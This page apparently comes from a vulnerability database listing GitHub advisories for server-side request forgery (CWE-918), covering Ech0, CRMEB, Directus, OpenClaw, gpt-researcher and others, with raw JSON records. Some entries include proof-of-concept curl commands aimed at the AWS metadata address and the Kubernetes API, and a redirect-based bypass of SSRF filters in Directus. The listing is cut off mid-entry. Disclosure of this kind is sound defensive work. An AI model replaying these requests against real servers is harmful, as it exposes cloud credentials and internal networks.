Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4755 vulnerabilities reference this CWE, most recent first.

GHSA-8MC6-XJPR-H98X

Vulnerability from github – Published: 2026-05-07 21:28 – Updated: 2026-05-07 21:28
VLAI
Summary
Ech0 has Server-Side Request Forgery (SSRF) via Connect Handler fetchPeerConnectInfo
Details

Summary

The fetchPeerConnectInfo function in internal/service/connect/connect.go:214-239 uses httpUtil.SendRequest (no SSRF protection) instead of SendSafeRequest (which has ValidatePublicHTTPURL with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.

Details

In internal/service/connect/connect.go, the fetchPeerConnectInfo function:

func fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) {
    url := httpUtil.TrimURL(peerConnectURL) + "/api/connect"
    resp, err := httpUtil.SendRequest(url, "GET", struct {...}{...}, requestTimeout)

This uses SendRequest which has NO URL validation. The codebase HAS SendSafeRequest at internal/util/http/http.go:228-281 with proper SSRF protection, but fetchPeerConnectInfo does not use it.

Called from: - Line 307: data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout) - - Line 498: data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)

PoC

# 1. Add a connection pointing to AWS metadata service
curl -X POST "https://ech0.example.com/api/connects" \
  -H "Authorization: Bearer <token>" \
  -d '{"connect_url": "http://169.254.169.254/latest/meta-data/instance-id"}'

# 2. Trigger SSRF via health check
curl -H "Authorization: Bearer <token>" \
  "https://ech0.example.com/api/connects/health"
# Returns AWS EC2 instance ID

Or for Kubernetes:

curl -X POST "https://ech0.example.com/api/connects" \
  -H "Authorization: Bearer <token>" \
  -d '{"connect_url": "http://kubernetes.default.svc.cluster.local:443/api"}'

Impact

  • Confidentiality: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API
    • CWE-918: Server-Side Request Forgery
Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lin-snow/ech0"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.8-0.20260503040602-091d26d2d942"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T21:28:40Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nThe `fetchPeerConnectInfo` function in `internal/service/connect/connect.go:214-239` uses `httpUtil.SendRequest` (no SSRF protection) instead of `SendSafeRequest` (which has `ValidatePublicHTTPURL` with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.\n\n## Details\nIn `internal/service/connect/connect.go`, the `fetchPeerConnectInfo` function:\n```go\nfunc fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) {\n    url := httpUtil.TrimURL(peerConnectURL) + \"/api/connect\"\n    resp, err := httpUtil.SendRequest(url, \"GET\", struct {...}{...}, requestTimeout)\n```\n\nThis uses `SendRequest` which has NO URL validation. The codebase HAS `SendSafeRequest` at `internal/util/http/http.go:228-281` with proper SSRF protection, but `fetchPeerConnectInfo` does not use it.\n\nCalled from:\n- Line 307: `data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout)`\n- - Line 498: `data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)`\n## PoC\n```bash\n# 1. Add a connection pointing to AWS metadata service\ncurl -X POST \"https://ech0.example.com/api/connects\" \\\n  -H \"Authorization: Bearer \u003ctoken\u003e\" \\\n  -d \u0027{\"connect_url\": \"http://169.254.169.254/latest/meta-data/instance-id\"}\u0027\n\n# 2. Trigger SSRF via health check\ncurl -H \"Authorization: Bearer \u003ctoken\u003e\" \\\n  \"https://ech0.example.com/api/connects/health\"\n# Returns AWS EC2 instance ID\n```\n\nOr for Kubernetes:\n```bash\ncurl -X POST \"https://ech0.example.com/api/connects\" \\\n  -H \"Authorization: Bearer \u003ctoken\u003e\" \\\n  -d \u0027{\"connect_url\": \"http://kubernetes.default.svc.cluster.local:443/api\"}\u0027\n```\n\n## Impact\n- **Confidentiality**: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API\n- - **CWE-918**: Server-Side Request Forgery",
  "id": "GHSA-8mc6-xjpr-h98x",
  "modified": "2026-05-07T21:28:40Z",
  "published": "2026-05-07T21:28:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-8mc6-xjpr-h98x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/commit/091d26d2d942df6df9f520328d2f9cf2592bbefc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lin-snow/Ech0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ech0 has Server-Side Request Forgery (SSRF) via Connect Handler fetchPeerConnectInfo"
}

GHSA-8MGM-5XV3-HP87

Vulnerability from github – Published: 2025-09-14 06:30 – Updated: 2025-09-14 06:30
VLAI
Details

A security vulnerability has been detected in CRMEB up to 5.6.1. The impacted element is the function testOutUrl of the file app/services/out/OutAccountServices.php. The manipulation of the argument push_token_url leads to server-side request forgery. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-10391"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-14T05:15:31Z",
    "severity": "MODERATE"
  },
  "details": "A security vulnerability has been detected in CRMEB up to 5.6.1. The impacted element is the function testOutUrl of the file app/services/out/OutAccountServices.php. The manipulation of the argument push_token_url leads to server-side request forgery. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-8mgm-5xv3-hp87",
  "modified": "2025-09-14T06:30:20Z",
  "published": "2025-09-14T06:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10391"
    },
    {
      "type": "WEB",
      "url": "https://github.com/August829/Yu/blob/main/58ead8e7e08bfb015.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.323826"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.323826"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.644582"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8MHW-5653-R6MQ

Vulnerability from github – Published: 2025-02-15 15:30 – Updated: 2025-02-15 15:30
VLAI
Details

The Responsive Plus – Starter Templates, Advanced Features and Customizer Settings for Responsive Theme plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.1.4 via the 'remote_request' function. This makes it possible for authenticated attackers, with contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-13834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-15T15:15:23Z",
    "severity": "MODERATE"
  },
  "details": "The Responsive Plus \u2013 Starter Templates, Advanced Features and Customizer Settings for Responsive Theme plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.1.4 via the \u0027remote_request\u0027 function. This makes it possible for authenticated attackers, with contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-8mhw-5653-r6mq",
  "modified": "2025-02-15T15:30:24Z",
  "published": "2025-02-15T15:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13834"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3240422/responsive-add-ons"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b2833265-f1e5-4cfd-ad2f-ca28a59de82f?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8MQR-GH66-WPGV

Vulnerability from github – Published: 2022-05-14 03:18 – Updated: 2022-05-14 03:18
VLAI
Details

A web-accessible backdoor, with resultant SSRF, exists in Tp-shop 2.0.5 through 2.0.8, which allows remote attackers to obtain sensitive information, attack intranet hosts, or possibly trigger remote command execution, because /vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php writes data from the "down_url" URL into the "bddlj" local file if the attacker knows the backdoor "jmmy" parameter.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-9919"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-05-02T21:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "A web-accessible backdoor, with resultant SSRF, exists in Tp-shop 2.0.5 through 2.0.8, which allows remote attackers to obtain sensitive information, attack intranet hosts, or possibly trigger remote command execution, because /vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php writes data from the \"down_url\" URL into the \"bddlj\" local file if the attacker knows the backdoor \"jmmy\" parameter.",
  "id": "GHSA-8mqr-gh66-wpgv",
  "modified": "2022-05-14T03:18:34Z",
  "published": "2022-05-14T03:18:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9919"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2018/May/11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8MRQ-M68X-JFCM

Vulnerability from github – Published: 2024-07-15 15:31 – Updated: 2024-07-15 15:31
VLAI
Details

The vulnerability allows a malicious low-privileged PAM user to perform server upgrade related actions.

Severity
5.1 (Medium)
CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-36458"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-15T14:15:03Z",
    "severity": "MODERATE"
  },
  "details": "The vulnerability allows a malicious low-privileged PAM user to perform server upgrade related actions.",
  "id": "GHSA-8mrq-m68x-jfcm",
  "modified": "2024-07-15T15:31:00Z",
  "published": "2024-07-15T15:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36458"
    },
    {
      "type": "WEB",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24678"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8MVX-P2R9-R375

Vulnerability from github – Published: 2026-03-03 21:19 – Updated: 2026-03-19 18:35
VLAI
Summary
OpenClaw's web tools strict URL guard could lose DNS pinning when env proxy is configured
Details

Summary

openclaw web tools strict URL fetch paths could lose DNS pinning when environment proxy variables are configured (HTTP_PROXY/HTTPS_PROXY/ALL_PROXY, including lowercase variants).

In affected builds, strict URL checks (for example web_fetch and citation redirect resolution) validated one destination during SSRF guard checks, but runtime connection routing could proceed through an env-proxy dispatcher.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Vulnerable version range: <= 2026.3.1
  • Latest published npm version at triage time (2026-03-02): 2026.3.1
  • Patched versions: >= 2026.3.2 (released)

Technical Details

The SSRF guard performed hostname resolution and policy checks, then selected a request dispatcher.

When env proxy settings were present, strict web-tool flows could use EnvHttpProxyAgent instead of the DNS-pinned dispatcher. This created a destination-binding gap between check-time resolution and connect-time routing.

The fix keeps DNS pinning on strict/untrusted web-tool URL paths and limits env-proxy bypass behavior to trusted/operator-controlled endpoints via an explicit dangerous opt-in.

Impact

In deployments with env proxy variables configured, attacker-influenced URLs from web tools could be routed through proxy behavior instead of strict pinned-destination routing, which could allow access to internal/private targets reachable from that proxy environment.

Mitigations

Before upgrading, operators can reduce exposure by clearing proxy env vars for OpenClaw runtime processes or disabling web_fetch / web_search where untrusted URL input is possible.

Fix Commit(s)

  • 345abf0b2e0f43b0f229e96f252ebf56f1e5549e
Severity
6.1 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T21:19:47Z",
    "nvd_published_at": "2026-03-18T02:16:22Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n`openclaw` web tools strict URL fetch paths could lose DNS pinning when environment proxy variables are configured (`HTTP_PROXY`/`HTTPS_PROXY`/`ALL_PROXY`, including lowercase variants).\n\nIn affected builds, strict URL checks (for example `web_fetch` and citation redirect resolution) validated one destination during SSRF guard checks, but runtime connection routing could proceed through an env-proxy dispatcher.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Vulnerable version range: `\u003c= 2026.3.1`\n- Latest published npm version at triage time (2026-03-02): `2026.3.1`\n- Patched versions: `\u003e= 2026.3.2` (released)\n\n### Technical Details\nThe SSRF guard performed hostname resolution and policy checks, then selected a request dispatcher.\n\nWhen env proxy settings were present, strict web-tool flows could use `EnvHttpProxyAgent` instead of the DNS-pinned dispatcher. This created a destination-binding gap between check-time resolution and connect-time routing.\n\nThe fix keeps DNS pinning on strict/untrusted web-tool URL paths and limits env-proxy bypass behavior to trusted/operator-controlled endpoints via an explicit dangerous opt-in.\n\n### Impact\nIn deployments with env proxy variables configured, attacker-influenced URLs from web tools could be routed through proxy behavior instead of strict pinned-destination routing, which could allow access to internal/private targets reachable from that proxy environment.\n\n### Mitigations\nBefore upgrading, operators can reduce exposure by clearing proxy env vars for OpenClaw runtime processes or disabling `web_fetch` / `web_search` where untrusted URL input is possible.\n\n### Fix Commit(s)\n- `345abf0b2e0f43b0f229e96f252ebf56f1e5549e`",
  "id": "GHSA-8mvx-p2r9-r375",
  "modified": "2026-03-19T18:35:37Z",
  "published": "2026-03-03T21:19:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-8mvx-p2r9-r375"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22181"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/345abf0b2e0f43b0f229e96f252ebf56f1e5549e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-dns-pinning-bypass-via-environment-proxy-configuration-in-web-fetch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw\u0027s web tools strict URL guard could lose DNS pinning when env proxy is configured"
}

GHSA-8P72-RCQ4-H6PW

Vulnerability from github – Published: 2024-07-08 15:25 – Updated: 2024-07-08 19:06
VLAI
Summary
Directus Blind SSRF On File Import
Details

Summary

There was already a reported SSRF vulnerability via file import. https://github.com/directus/directus/security/advisories/GHSA-j3rg-3rgm-537h It was fixed by resolving all DNS names and checking if the requested IP is an internal IP address.

However it is possible to bypass this security measure and execute a SSRF using redirects. Directus allows redirects when importing file from the URL and does not check the result URL. Thus, it is possible to execute a request to an internal IP, for example to 127.0.0.1.

However, it is blind SSRF, because Directus also uses response interception technique to get the information about the connect from the socket directly and it does not show a response if the IP address is internal (nice fix, by the way :) ).

But the blindness does not fully mitigate the impact of the vulnerability. The blind SSRF is still exploitable in the real life scenarios, because there could be a vulnerable software inside of the network which can be exploited with GET request. I will show the example in the PoC. Also, you can check HackTricks page with some known cases.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

For testing I used the docker compose with the latest directus version. Here is my docker compose file

version: "3"
services:
  directus:
    image: directus/directus:10.8.3
    ports:
      - 8055:8055
    volumes:
      - ./database:/directus/database
      - ./uploads:/directus/uploads
      - ./extensions:/directus/extensions
    environment:
      KEY: "redacted"
      SECRET: "redacted"
      ADMIN_EMAIL: "admin@example.com"
      ADMIN_PASSWORD: "redacted"
      DB_CLIENT: "sqlite3"
      DB_FILENAME: "/directus/database/data.db"

As a first step it is needed to setup a redirect server which will redirect the incoming request to some internal URL. I did it on my VPS with the public IP.

image

After it I setup a simple HTTP Server emulating the vulnerable application inside the internal network. It just execute any shell command provided in the cmd GET-parameter.

image

After it the directus import functionality was used

image

It initiates the following HTTP request

POST /files/import HTTP/1.1
Host: 127.0.0.1:8055
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer redacteed
Content-Type: application/json
Content-Length: 44
Origin: http://127.0.0.1:8055
Connection: close
Referer: http://127.0.0.1:8055/admin/files/+
Cookie: directus_refresh_token=redacted
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"url":"http://94.103.84.233:801","data":{}}

It can be seen on the redirect server that the request came to it.

And we can also see the request in the localhost server (the same host as directus), which confirms the bypass and the SSRF.

image

And the rce_poc file was created.

image

Impact

The impact is Blind SSRF. Using it an attacker can initiate HTTP GET requests to the internal network. For example, it can be used to exploit some GET-based vulnerabilities of other software in the internal network.

Fix proposition

I think there are two ways to fix this vulnerability:

  • Disallow redirects for the import requests
  • Check the Location header in the import request response if it is present. Drop the request if the Location url points to the internal IP.
Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@directus/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "17.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-39699"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-08T15:25:50Z",
    "nvd_published_at": "2024-07-08T16:15:08Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThere was already a reported SSRF vulnerability via file import. [https://github.com/directus/directus/security/advisories/GHSA-j3rg-3rgm-537h](https://github.com/directus/directus/security/advisories/GHSA-j3rg-3rgm-537h)\nIt was fixed by resolving all DNS names and checking if the requested IP is an internal IP address. \n\nHowever it is possible to bypass this security measure and execute a SSRF using redirects. Directus allows redirects when importing file from the URL and does not check the result URL. Thus, it is possible to execute a request to an internal IP, for example to 127.0.0.1.\n\nHowever, it is blind SSRF, because Directus also uses response interception technique to get the information about the connect from the socket directly and it does not show a response if the IP address is internal (nice fix, by the way :) ).\n\nBut the blindness does not fully mitigate the impact of the vulnerability. The blind SSRF is still exploitable in the real life scenarios, because there could be a vulnerable software inside of the network which can be exploited with GET request. I will show the example in the PoC. Also, you can check [HackTricks](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms) page with some known cases. \n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\n### PoC\nFor testing I used the docker compose with the latest directus version. Here is my docker compose file\n```\nversion: \"3\"\nservices:\n  directus:\n    image: directus/directus:10.8.3\n    ports:\n      - 8055:8055\n    volumes:\n      - ./database:/directus/database\n      - ./uploads:/directus/uploads\n      - ./extensions:/directus/extensions\n    environment:\n      KEY: \"redacted\"\n      SECRET: \"redacted\"\n      ADMIN_EMAIL: \"admin@example.com\"\n      ADMIN_PASSWORD: \"redacted\"\n      DB_CLIENT: \"sqlite3\"\n      DB_FILENAME: \"/directus/database/data.db\"\n```\n\nAs a first step it is needed to setup a redirect server which will redirect the incoming request to some internal URL. I did it on my VPS with the public IP.\n\n\u003cimg width=\"1035\" alt=\"image\" src=\"https://user-images.githubusercontent.com/156416961/296198555-870898b2-7b8a-4857-a8fe-5e28e85241b0.png\"\u003e\n\nAfter it I setup a simple HTTP Server emulating the vulnerable application inside the internal network. It just execute any shell command provided in the cmd GET-parameter.\n\n\u003cimg width=\"454\" alt=\"image\" src=\"https://user-images.githubusercontent.com/156416961/296198963-4465fa15-c6d6-4e8c-92a0-a2ae334ba79f.png\"\u003e\n\nAfter it the directus import functionality was used \n\n\u003cimg width=\"930\" alt=\"image\" src=\"https://user-images.githubusercontent.com/156416961/296199457-d5d8eb2d-1ca8-442e-b1bf-15ddb0f1947d.png\"\u003e\n\nIt initiates the following HTTP request\n\n```\nPOST /files/import HTTP/1.1\nHost: 127.0.0.1:8055\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nAuthorization: Bearer redacteed\nContent-Type: application/json\nContent-Length: 44\nOrigin: http://127.0.0.1:8055\nConnection: close\nReferer: http://127.0.0.1:8055/admin/files/+\nCookie: directus_refresh_token=redacted\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\n\n{\"url\":\"http://94.103.84.233:801\",\"data\":{}}\n```\n\nIt can be seen on the redirect server that the request came to it.\n\n![](https://user-images.githubusercontent.com/156416961/296200143-5afc04e8-3651-4f6f-98d2-1f9f7cd3919a.jpg)\n\nAnd we can also see the request in the localhost server (the same host as directus), which confirms the bypass and the SSRF.\n\n\n\u003cimg width=\"437\" alt=\"image\" src=\"https://user-images.githubusercontent.com/156416961/296201651-a9b61f5d-0ccd-4e3e-b137-e82fda8f5347.png\"\u003e\n\nAnd the rce_poc file was created. \n\n\u003cimg width=\"538\" alt=\"image\" src=\"https://user-images.githubusercontent.com/156416961/296201869-fed5fa94-ece5-497d-a091-c422b1f540a0.png\"\u003e\n\n\n\n\n### Impact\nThe impact is Blind SSRF. Using it an attacker can initiate HTTP GET requests to the internal network. For example, it can be used to exploit some GET-based vulnerabilities of other software in the internal network.\n\n### Fix proposition\n\nI think there are two ways to fix this vulnerability:\n\n- Disallow redirects for the import requests\n- Check the Location header in the import request response if it is present. Drop the request if the Location url points to the internal IP.\n",
  "id": "GHSA-8p72-rcq4-h6pw",
  "modified": "2024-07-08T19:06:20Z",
  "published": "2024-07-08T15:25:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/directus/directus/security/advisories/GHSA-8p72-rcq4-h6pw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39699"
    },
    {
      "type": "WEB",
      "url": "https://github.com/directus/directus/commit/d577b44231c0923aca99cac5770fd853801caee1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/directus/directus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Directus Blind SSRF On File Import"
}

GHSA-8P84-J4X4-C993

Vulnerability from github – Published: 2026-04-06 09:31 – Updated: 2026-04-06 09:31
VLAI
Details

A vulnerability was determined in assafelovic gpt-researcher up to 3.4.3. Affected is an unknown function of the component ws Endpoint. Executing a manipulation of the argument source_urls can lead to server-side request forgery. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-5633"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-06T08:16:39Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in assafelovic gpt-researcher up to 3.4.3. Affected is an unknown function of the component ws Endpoint. Executing a manipulation of the argument source_urls can lead to server-side request forgery. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-8p84-j4x4-c993",
  "modified": "2026-04-06T09:31:42Z",
  "published": "2026-04-06T09:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5633"
    },
    {
      "type": "WEB",
      "url": "https://github.com/assafelovic/gpt-researcher/issues/1696"
    },
    {
      "type": "WEB",
      "url": "https://github.com/assafelovic/gpt-researcher"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/785876"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/355421"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/355421/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8P9C-W6FC-VJGH

Vulnerability from github – Published: 2025-12-23 00:30 – Updated: 2025-12-23 00:30
VLAI
Details

Hasura GraphQL 1.3.3 contains a server-side request forgery vulnerability that allows attackers to inject arbitrary remote schema URLs through the add_remote_schema endpoint. Attackers can exploit the vulnerability by sending crafted POST requests to the /v1/query endpoint with malicious URL definitions to potentially access internal network resources.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
6.9 (Medium)
